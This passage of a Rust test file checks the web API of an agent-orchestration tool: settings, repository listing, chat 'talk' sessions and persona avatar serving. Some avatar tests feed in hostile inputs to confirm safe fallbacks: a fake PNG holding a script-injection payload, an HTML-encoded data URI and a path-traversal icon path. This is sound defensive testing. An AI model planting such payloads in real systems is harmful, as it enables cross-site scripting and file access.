9247 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9248 let res = f.put("/api/settings/roles", &body).await;
9249 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9250 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9251 }
9252 }
9253
9254 #[tokio::test]
9255 async fn settings_put_refuses_without_touching_the_file() {
9256 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9257 let (_tmp, repo, machine) = settings_dirs(
9258 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9259 Some(machine_text),
9260 );
9261 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9262 let rev = f.get("/api/settings").await.json()["revision"]
9263 .as_str()
9264 .expect("revision")
9265 .to_owned();
9266 for roles in [
9267 serde_json::json!({ "judges": ["nope"] }),
9268 serde_json::json!({ "reviewers": ["b"] }),
9269 serde_json::json!({ "bogus": ["a"] }),
9270 ] {
9271 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9272 let res = f.put("/api/settings/roles", &body).await;
9273 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9274 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9275 assert_eq!(
9276 std::fs::read_to_string(&machine).expect("machine"),
9277 machine_text
9278 );
9279 }
9280 }
9281
9282 #[tokio::test]
9283 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9284 let tmp = TempDir::new().expect("tempdir");
9285 let repo = tmp.path().join("repo");
9286 std::fs::create_dir_all(&repo).expect("repo dir");
9287 let root = tmp.path().join("root");
9288 make_checkout(&root, "github.com", "yukimemi", "magi");
9289 std::fs::write(
9290 repo.join("magi.toml"),
9291 format!(
9292 "[repos]\nroots = [{:?}]\n",
9293 root.to_string_lossy().into_owned()
9294 ),
9295 )
9296 .expect("write magi.toml");
9297
9298 let f = Fixture::with_repo(repo).await;
9299 let res = f.get("/api/repos").await;
9300 assert_eq!(res.status, 200, "{}", res.body);
9301 let list = res.json();
9302 let repos = list.as_array().expect("an array");
9303 assert_eq!(repos.len(), 1);
9304 assert_eq!(repos[0]["name"], "yukimemi/magi");
9305 assert!(
9306 repos[0]["path"]
9307 .as_str()
9308 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9309 "{list}"
9310 );
9311 }
9312
9313 #[tokio::test]
9314 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9315 let tmp = TempDir::new().expect("tempdir");
9316 let repo = tmp.path().join("repo");
9317 std::fs::create_dir_all(&repo).expect("repo dir");
9318 let root = tmp.path().join("root");
9319 make_checkout(&root, "github.com", "yukimemi", "magi");
9320 std::fs::write(
9321 repo.join("magi.toml"),
9322 format!(
9323 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9324 root.to_string_lossy().into_owned()
9325 ),
9326 )
9327 .expect("write magi.toml");
9328
9329 let f = Fixture::with_repo(repo).await;
9330 let first = f.get("/api/repos").await;
9331 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9332
9333 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9336 let second = f.get("/api/repos").await;
9337 assert_eq!(
9338 second.json().as_array().map(Vec::len),
9339 Some(1),
9340 "a fresh cache must not rescan inside the TTL"
9341 );
9342
9343 let refreshed = f.get("/api/repos?refresh=1").await;
9344 assert_eq!(
9345 refreshed.json().as_array().map(Vec::len),
9346 Some(2),
9347 "an explicit refresh must rescan even inside the TTL"
9348 );
9349 }
9350
9351 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9357
9358 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9362 let tmp = TempDir::new().expect("tempdir");
9363 let repo = tmp.path().join("repo");
9364 std::fs::create_dir_all(&repo).expect("repo dir");
9365 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9366 let f = Fixture::with_repo(repo.clone()).await;
9367 (tmp, repo, f)
9368 }
9369
9370 #[tokio::test]
9371 async fn posting_a_talk_with_remembered_choices_is_soft() {
9372 let (_tmp, _repo, f) = talk_fixture().await;
9373
9374 let good = f
9375 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9376 .await;
9377 assert_eq!(good.status, 201, "{}", good.body);
9378 assert_eq!(good.json()["persona"], "rei");
9379
9380 let stale = f
9382 .post(
9383 "/api/talks",
9384 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9385 )
9386 .await;
9387 assert_eq!(stale.status, 201, "{}", stale.body);
9388 let v = stale.json();
9389 assert_eq!(v["implementers"], 1);
9390 assert_ne!(v["persona"], "nobody");
9391 let typed = f
9392 .post(
9393 "/api/talks",
9394 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9395 )
9396 .await;
9397 assert_eq!(typed.status, 201, "{}", typed.body);
9398
9399 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9401 assert!(
9402 !strict.status.to_string().starts_with('2'),
9403 "{}",
9404 strict.body
9405 );
9406 }
9407
9408 #[tokio::test]
9409 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9410 let (_tmp, _repo, f) = talk_fixture().await;
9411
9412 let opened = f.post("/api/talks", None).await;
9415 assert_eq!(opened.status, 201, "{}", opened.body);
9416 let body = opened.json();
9417 assert_eq!(body["status"], "open");
9418 assert_eq!(
9419 body["turns"].as_array().unwrap().len(),
9420 0,
9421 "opening takes no agent turn: there is nothing yet to answer"
9422 );
9423
9424 let also_opened = f.post("/api/talks", Some("{}")).await;
9426 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9427
9428 let listed = f.get("/api/talks").await.json();
9429 assert_eq!(listed.as_array().unwrap().len(), 2);
9430 }
9431
9432 #[tokio::test]
9433 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9434 let tmp = TempDir::new().expect("tempdir");
9435 let repo = tmp.path().join("repo");
9436 std::fs::create_dir_all(&repo).expect("repo dir");
9437 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9438 std::fs::write(
9439 repo.join("magi.toml"),
9440 format!("{MOCK_AGENT_TOML}\n{second}"),
9441 )
9442 .expect("write magi.toml");
9443 let home = TempDir::new().expect("temp home");
9444 let talks = Talks::at(home.path().join("talks"));
9445 let ui = Arc::new(
9446 Ui::new(
9447 Queue::at(home.path().join("queue")),
9448 Questions::at(home.path().join("questions")),
9449 talks.clone(),
9450 home.path().join("runs"),
9451 home.path().to_path_buf(),
9452 repo.clone(),
9453 )
9454 .with_worktrees_root(home.path().join("wt")),
9455 );
9456 let cfg = config_for(&repo).await.expect("discover config");
9457 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9458 let id = talk.id.clone();
9459 let call = |agent: &str| {
9460 talk_agent(
9461 State(Arc::clone(&ui)),
9462 Path(id.clone()),
9463 Json(TalkAgent {
9464 agent: agent.to_owned(),
9465 }),
9466 )
9467 };
9468
9469 let unknown = call("nobody").await.expect_err("unknown agent");
9470 assert_eq!(
9471 unknown.status,
9472 StatusCode::BAD_REQUEST,
9473 "{}",
9474 unknown.message
9475 );
9476
9477 {
9478 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9481 let busy = call("second").await.expect_err("busy talk");
9482 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9483 assert!(
9484 busy.message.contains("a talk turn is running"),
9485 "{}",
9486 busy.message
9487 );
9488 drop(guard);
9489 }
9490 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9491
9492 let Json(view) = call("second").await.expect("switch");
9493 assert_eq!(view.talk.agent, "second");
9494 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9495 let saved = talks.get(&id).expect("reload");
9496 assert_eq!(saved.agent, "second");
9497 assert_eq!(saved.turns.len(), 1);
9498
9499 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9500 .await
9501 .expect("detail");
9502 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9503 assert_eq!(roster, ["mock", "second"]);
9504
9505 let mut closed = talks.get(&id).expect("reload");
9506 talk::close(&mut closed, &talks).expect("close");
9507 let refused = call("mock").await.expect_err("closed talk");
9508 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9509 assert!(
9510 refused.message.contains("takes no more turns"),
9511 "{}",
9512 refused.message
9513 );
9514 }
9515
9516 #[tokio::test]
9517 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9518 let tmp = TempDir::new().expect("tempdir");
9519 let repo = tmp.path().join("repo");
9520 std::fs::create_dir_all(&repo).expect("repo dir");
9521 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9522 let home = TempDir::new().expect("temp home");
9523 let talks = Talks::at(home.path().join("talks"));
9524 let ui = Arc::new(
9525 Ui::new(
9526 Queue::at(home.path().join("queue")),
9527 Questions::at(home.path().join("questions")),
9528 talks.clone(),
9529 home.path().join("runs"),
9530 home.path().to_path_buf(),
9531 repo.clone(),
9532 )
9533 .with_worktrees_root(home.path().join("wt")),
9534 );
9535 let cfg = config_for(&repo).await.expect("discover config");
9536 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9537 let id = talk.id.clone();
9538 let call = |n: u8| {
9539 talk_implementers(
9540 State(Arc::clone(&ui)),
9541 Path(id.clone()),
9542 Json(TalkImplementers { implementers: n }),
9543 )
9544 };
9545
9546 for bad in [0u8, 4] {
9547 let e = call(bad).await.expect_err("out of range");
9548 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9549 }
9550 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9551
9552 {
9553 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9556 let busy = call(2).await.expect_err("busy talk");
9557 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9558 assert!(
9559 busy.message.contains("a talk turn is running"),
9560 "{}",
9561 busy.message
9562 );
9563 drop(guard);
9564 }
9565
9566 let Json(view) = call(3).await.expect("switch");
9567 assert_eq!(view.talk.implementers, 3);
9568 assert!(talks.get(&id).expect("reload").implementers_dirty);
9569
9570 let mut closed = talks.get(&id).expect("reload");
9571 talk::close(&mut closed, &talks).expect("close");
9572 let e = call(2).await.expect_err("closed talk");
9573 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9574 assert!(e.message.contains("takes no more turns"), "{}", e.message);
9575 }
9576
9577 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
9579 let tmp = TempDir::new().expect("tempdir");
9580 let repo = tmp.path().join("repo");
9581 std::fs::create_dir_all(&repo).expect("repo dir");
9582 std::fs::write(
9583 repo.join("magi.toml"),
9584 format!("{MOCK_AGENT_TOML}\n{extra}"),
9585 )
9586 .expect("write magi.toml");
9587 let home = TempDir::new().expect("temp home");
9588 let talks = Talks::at(home.path().join("talks"));
9589 let ui = Arc::new(
9590 Ui::new(
9591 Queue::at(home.path().join("queue")),
9592 Questions::at(home.path().join("questions")),
9593 talks.clone(),
9594 home.path().join("runs"),
9595 home.path().to_path_buf(),
9596 repo.clone(),
9597 )
9598 .with_worktrees_root(home.path().join("wt")),
9599 );
9600 let cfg = config_for(&repo).await.expect("discover config");
9601 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9602 (tmp, home, ui, talk.id, repo)
9603 }
9604
9605 async fn avatar(
9607 ui: &Arc<Ui>,
9608 id: &str,
9609 persona: Option<&str>,
9610 builtin: bool,
9611 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
9612 let res = talk_avatar(
9613 State(Arc::clone(ui)),
9614 Path(id.to_owned()),
9615 Query(AvatarQuery {
9616 persona: persona.map(str::to_owned),
9617 builtin: builtin.then(|| "1".to_owned()),
9618 }),
9619 )
9620 .await
9621 .expect("an avatar is never an error response");
9622 let h = res.headers();
9623 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
9624 let nosniff = h
9625 .get(header::X_CONTENT_TYPE_OPTIONS)
9626 .is_some_and(|v| v == "nosniff");
9627 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
9628 let status = res.status();
9629 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
9630 .await
9631 .expect("body")
9632 .to_vec();
9633 (status, ct, nosniff, csp, body)
9634 }
9635
9636 fn tiny_png() -> Vec<u8> {
9637 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
9638 b.extend_from_slice(&[0u8; 32]);
9639 b
9640 }
9641
9642 #[tokio::test]
9643 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
9644 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
9645 for p in [
9646 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
9647 ] {
9648 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
9649 assert_eq!(status, StatusCode::OK, "{p}");
9650 assert_eq!(ct, "image/svg+xml", "{p}");
9651 assert!(nosniff && csp, "{p}");
9652 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
9653 }
9654 let own = avatar(&ui, &id, None, false).await;
9656 let default = avatar(&ui, &id, Some("default"), false).await;
9657 assert_eq!(own.4, default.4);
9658 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
9659 assert_eq!(unknown.1, "image/svg+xml");
9660 }
9661
9662 #[tokio::test]
9663 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
9664 let dir = TempDir::new().expect("icons");
9665 let good = dir.path().join("good.png");
9666 std::fs::write(&good, tiny_png()).unwrap();
9667 let spoof = dir.path().join("spoof.png");
9668 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
9669 let big = dir.path().join("big.png");
9670 let mut bytes = tiny_png();
9671 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
9672 std::fs::write(&big, bytes).unwrap();
9673 let missing = dir.path().join("missing.png");
9674 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
9675 let extra = format!(
9676 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
9677 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
9678 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
9679 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
9680 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
9681 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
9682 uri(&good),
9683 uri(&spoof),
9684 uri(&big),
9685 uri(&missing),
9686 );
9687 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9688
9689 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
9690 assert_eq!(
9691 (status, ct.as_str(), nosniff),
9692 (StatusCode::OK, "image/png", true)
9693 );
9694 assert_eq!(body, tiny_png());
9695 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
9696 assert_eq!(ct, "image/png", "data URI");
9697
9698 for p in ["misato", "asuka", "shinji", "magi"] {
9699 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
9700 assert_eq!(
9701 (status, ct.as_str(), csp),
9702 (StatusCode::OK, "image/svg+xml", true),
9703 "{p}"
9704 );
9705 assert!(body.starts_with(b"<svg"), "{p}");
9706 }
9707 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
9709 assert_eq!(ct, "image/svg+xml");
9710 }
9711
9712 #[tokio::test]
9713 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
9714 let oversized = format!(
9715 "data:image/png;base64,{}",
9716 "A".repeat(persona_icon::ICON_MAX_BYTES)
9717 );
9718 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
9719 let extra = format!(
9720 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
9721 );
9722 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9723 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9724 .await
9725 .expect("detail with invalid icon");
9726 assert!(detail.personas.iter().any(|p| p.id == "custom"));
9727 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
9728 assert_eq!(status, StatusCode::OK);
9729 assert_eq!(ct, "image/svg+xml");
9730 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
9731 let Json(view) = talk_persona(
9732 State(Arc::clone(&ui)),
9733 Path(id.clone()),
9734 Json(TalkPersona {
9735 persona: "custom".into(),
9736 }),
9737 )
9738 .await
9739 .expect("persona switch with invalid icon");
9740 assert_eq!(view.talk.persona, "custom");
9741 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
9742 }
9743 }
9744
9745 #[tokio::test]
9746 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
9747 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
9748 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
9749 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
9750 assert_eq!(
9751 (status, ct.as_str(), nosniff, csp),
9752 (StatusCode::OK, "image/svg+xml", true, true)
9753 );
9754 }
9755
9756 #[tokio::test]
9757 async fn the_talk_view_carries_server_built_avatar_urls_only() {
9758 let (_t, _h, ui, id, _repo) =
9759 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
9760 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9761 .await
9762 .expect("detail");
9763 let json = serde_json::to_string(&detail).unwrap();
9764 assert!(
9765 !json.contains("secret"),
9766 "the icon setting must not leak: {json}"
9767 );
9768 assert!(
9769 detail
9770 .view
9771 .persona_avatar
9772 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
9773 );
9774 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
9775 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
9776 assert!(rei.avatar.contains("persona=rei&v="));
9777 assert_ne!(
9778 rei.avatar.split("&v=").nth(1),
9779 plain.avatar.split("&v=").nth(1)
9780 );
9781 }
9782
9783 #[tokio::test]
9784 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9785 let tmp = TempDir::new().expect("tempdir");
9786 let repo = tmp.path().join("repo");
9787 std::fs::create_dir_all(&repo).expect("repo dir");
9788 std::fs::write(
9789 repo.join("magi.toml"),
9790 format!(
9791 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9792 ),
9793 )
9794 .expect("write magi.toml");
9795 let home = TempDir::new().expect("temp home");
9796 let talks = Talks::at(home.path().join("talks"));
9797 let ui = Arc::new(
9798 Ui::new(
9799 Queue::at(home.path().join("queue")),
9800 Questions::at(home.path().join("questions")),
9801 talks.clone(),
9802 home.path().join("runs"),
9803 home.path().to_path_buf(),
9804 repo.clone(),
9805 )
9806 .with_worktrees_root(home.path().join("wt")),
9807 );
9808 let cfg = config_for(&repo).await.expect("discover config");
9809 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9810 let id = talk.id.clone();
9811 let call = |persona: &str| {
9812 talk_persona(
9813 State(Arc::clone(&ui)),
9814 Path(id.clone()),
9815 Json(TalkPersona {
9816 persona: persona.to_owned(),
9817 }),
9818 )
9819 };
9820
9821 let unknown = call("nobody").await.expect_err("unknown persona");
9822 assert_eq!(
9823 unknown.status,
9824 StatusCode::BAD_REQUEST,
9825 "{}",
9826 unknown.message
9827 );
9828
9829 {
9830 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9833 let busy = call("rei").await.expect_err("busy talk");
9834 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9835 assert!(
9836 busy.message.contains("a talk turn is running"),
9837 "{}",
9838 busy.message
9839 );
9840 drop(guard);
9841 }
9842 assert_eq!(talks.get(&id).expect("reload").persona, "");
9843
9844 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9845 assert_eq!(view.talk.persona, "gendo");
9846 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9847
9848 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9849 .await
9850 .expect("detail");
9851 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9852 assert_eq!(ids.first(), Some(&"default"));
9853 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9854
9855 let Json(view) = call("default").await.expect("back to default");
9856 assert_eq!(view.talk.persona, "");
9857
9858 let mut closed = talks.get(&id).expect("reload");
9859 talk::close(&mut closed, &talks).expect("close");
9860 let refused = call("rei").await.expect_err("closed talk");
9861 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9862 assert!(
9863 refused.message.contains("takes no more turns"),
9864 "{}",
9865 refused.message
9866 );
9867 }
9868
9869 #[tokio::test]
9870 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9871 let f = Fixture::start().await;
9872 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9873 let queue = f.queue();
9874 let mut mine = Task::new(
9875 "rename the loader".to_owned(),
9876 "rename the loader".to_owned(),
9877 PathBuf::from("/repo/magi"),
9878 Source::Agent {
9879 run: talk_id.clone(),
9880 node: "chat".to_owned(),
9881 },
9882 );
9883 queue.put(&mut mine).expect("file the task");
9884 let mut theirs = Task::new(
9885 "unrelated".to_owned(),
9886 "unrelated".to_owned(),
9887 PathBuf::from("/repo/magi"),
9888 Source::Human,
9889 );
9890 queue.put(&mut theirs).expect("file the task");
9891
9892 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9893 assert_eq!(res.status, 200, "{}", res.body);
9894 let body = res.json();
9895 assert_eq!(
9896 body["status"], "open",
9897 "filing a task does not close a talk"
9898 );
9899 let tasks = body["tasks"].as_array().expect("tasks array");
9900 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9901 assert_eq!(tasks[0]["id"], mine.id);
9902 }
9903
9904 #[tokio::test]
9905 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9906 let (_tmp, _repo, f) = talk_fixture().await;
9907 let id = f.post("/api/talks", None).await.json()["id"]
9908 .as_str()
9909 .expect("id")
9910 .to_owned();
9911
9912 let res = f
9913 .post(
9914 &format!("/api/talks/{id}/say"),
9915 Some(r#"{"text":"what does the queue module do?"}"#),
9916 )
9917 .await;
9918 assert_eq!(res.status, 202, "{}", res.body);
9919 let queued = res.json();
9920 let turns = queued["turns"].as_array().expect("turns array");
9921 assert_eq!(
9922 turns.len(),
9923 1,
9924 "the answer reflects only what is on disk the instant it is sent, \
9925 before the agent's turn - which can run for the whole of \
9926 `[graph] timeout_talk` - has a chance to land: {queued}"
9927 );
9928 assert_eq!(turns[0]["who"], "operator");
9929 assert_eq!(turns[0]["body"], "what does the queue module do?");
9930 assert_eq!(
9931 queued["thinking"], true,
9932 "the accepted response exposes the background turn claim: {queued}"
9933 );
9934
9935 let mut turns_after = 1;
9936 for _ in 0..SETTLE_STEPS {
9937 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9938 turns_after = detail["turns"].as_array().expect("turns array").len();
9939 if turns_after == 2 {
9940 break;
9941 }
9942 tokio::time::sleep(Duration::from_millis(10)).await;
9943 }
9944 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9945 }
9946
9947 #[tokio::test]
9974 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9975 let tmp = TempDir::new().expect("tempdir");
9976 let repo = tmp.path().join("repo");
9977 std::fs::create_dir_all(&repo).expect("repo dir");
9978 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9979 let home = TempDir::new().expect("temp home");
9980 let talks = Talks::at(home.path().join("talks"));
9981 let ui = Arc::new(
9982 Ui::new(
9983 Queue::at(home.path().join("queue")),
9984 Questions::at(home.path().join("questions")),
9985 talks.clone(),
9986 home.path().join("runs"),
9987 home.path().to_path_buf(),
9988 repo.clone(),
9989 )
9990 .with_worktrees_root(home.path().join("wt")),
9991 );
9992 let cfg = config_for(&repo).await.expect("discover config");
9993
9994 for delay in 0..40u32 {
9995 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9996 let id = talk.id.clone();
9997
9998 let handler = tokio::spawn(talk_say(
9999 State(Arc::clone(&ui)),
10000 Path(id.clone()),
10001 Ok(Json(NewTalkTurn {
10002 text: "what does the queue module do?".to_owned(),
10003 attachments: Vec::new(),
10004 })),
10005 ));
10006 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10007 handler.abort();
10008 let _ = handler.await;
10011
10012 let mut turns = 0;
10013 for _ in 0..SETTLE_STEPS {
10014 if let Ok(fresh) = talks.get(&id) {
10015 turns = fresh.turns.len();
10016 if turns != 1 {
10017 break;
10018 }
10019 }
10020 tokio::time::sleep(Duration::from_millis(10)).await;
10021 }
10022 assert_ne!(
10023 turns, 1,
10024 "delay {delay}: talk {id} recorded the operator's turn but \
10025 the agent never answered - the reply task was never \
10026 started after the handler future was dropped"
10027 );
10028 }
10029 }
10030
10031 #[tokio::test]
10076 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10077 let tmp = TempDir::new().expect("tempdir");
10078 let repo = tmp.path().join("repo");
10079 std::fs::create_dir_all(&repo).expect("repo dir");
10080 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10081 let home = TempDir::new().expect("temp home");
10082 let talks = Talks::at(home.path().join("talks"));
10083 let ui = Arc::new(
10084 Ui::new(
10085 Queue::at(home.path().join("queue")),
10086 Questions::at(home.path().join("questions")),
10087 talks.clone(),
10088 home.path().join("runs"),
10089 home.path().to_path_buf(),
10090 repo.clone(),
10091 )
10092 .with_worktrees_root(home.path().join("wt")),
10093 );
10094 let cfg = config_for(&repo).await.expect("discover config");
10095
10096 for attempt in 0..3u32 {
10097 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10098 let id = talk.id.clone();
10099 let turn_guard = ui
10102 .begin_talk_turn(&id)
10103 .expect("claim the turn")
10104 .expect("a fresh talk owes nobody a turn");
10105
10106 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10107 let (release_tx, release_rx) = std::sync::mpsc::channel();
10108 ui.set_busy_queue_gate(BusyQueueGate {
10109 reached: reached_tx,
10110 release: release_rx,
10111 });
10112
10113 let handler = tokio::spawn(talk_say(
10114 State(Arc::clone(&ui)),
10115 Path(id.clone()),
10116 Ok(Json(NewTalkTurn {
10117 text: "what does the queue module do?".to_owned(),
10118 attachments: Vec::new(),
10119 })),
10120 ));
10121
10122 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10127 .await
10128 .unwrap_or_else(|_| {
10129 panic!(
10130 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10131 )
10132 })
10133 .expect("the busy branch dropped the gate without using it");
10134
10135 let running = talks.get(&id).expect("reload talk");
10142 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10143
10144 handler.abort();
10148 let _ = handler.await;
10149
10150 let _ = release_tx.send(());
10156
10157 let mut fresh = talks.get(&id).expect("reload talk");
10160 for _ in 0..SETTLE_STEPS {
10161 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10162 break;
10163 }
10164 tokio::time::sleep(Duration::from_millis(10)).await;
10165 fresh = talks.get(&id).expect("reload talk");
10166 }
10167 assert!(
10168 fresh.pending.is_empty() && fresh.turns.len() == 2,
10169 "attempt {attempt}: talk {id} left the operator's text queued \
10170 with no drainer - the reclaimed turn was dropped along with \
10171 the handler future (pending {:?}, {} turns)",
10172 fresh.pending,
10173 fresh.turns.len()
10174 );
10175 }
10176 }
10177
10178 #[tokio::test]
10179 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10180 let (_tmp, _repo, f) = talk_fixture().await;
10181 let id = f.post("/api/talks", None).await.json()["id"]
10182 .as_str()
10183 .expect("id")
10184 .to_owned();
10185 let store = f.talks();
10186 let mut recovered = store.get(&id).expect("opened talk");
10187 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10188 .expect("persist pending draft without a live turn");
10189
10190 let edited = f
10191 .post(
10192 &format!("/api/talks/{id}/pending/edit"),
10193 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10194 )
10195 .await;
10196 assert_eq!(edited.status, 200, "{}", edited.body);
10197 assert!(edited.json()["thinking"].as_bool().unwrap());
10198
10199 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10200 for _ in 0..SETTLE_STEPS {
10201 if detail["turns"].as_array().expect("turns").len() == 2 {
10202 break;
10203 }
10204 tokio::time::sleep(Duration::from_millis(10)).await;
10205 detail = f.get(&format!("/api/talks/{id}")).await.json();
10206 }
10207 let turns = detail["turns"].as_array().expect("turns");
10208 assert_eq!(
10209 turns.len(),
10210 2,
10211 "the recovered draft must run once: {detail}"
10212 );
10213 assert_eq!(turns[0]["body"], "corrected");
10214 assert_eq!(detail["pending"], "");
10215 }
10216
10217 #[tokio::test]
10218 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10219 let tmp = TempDir::new().expect("tempdir");
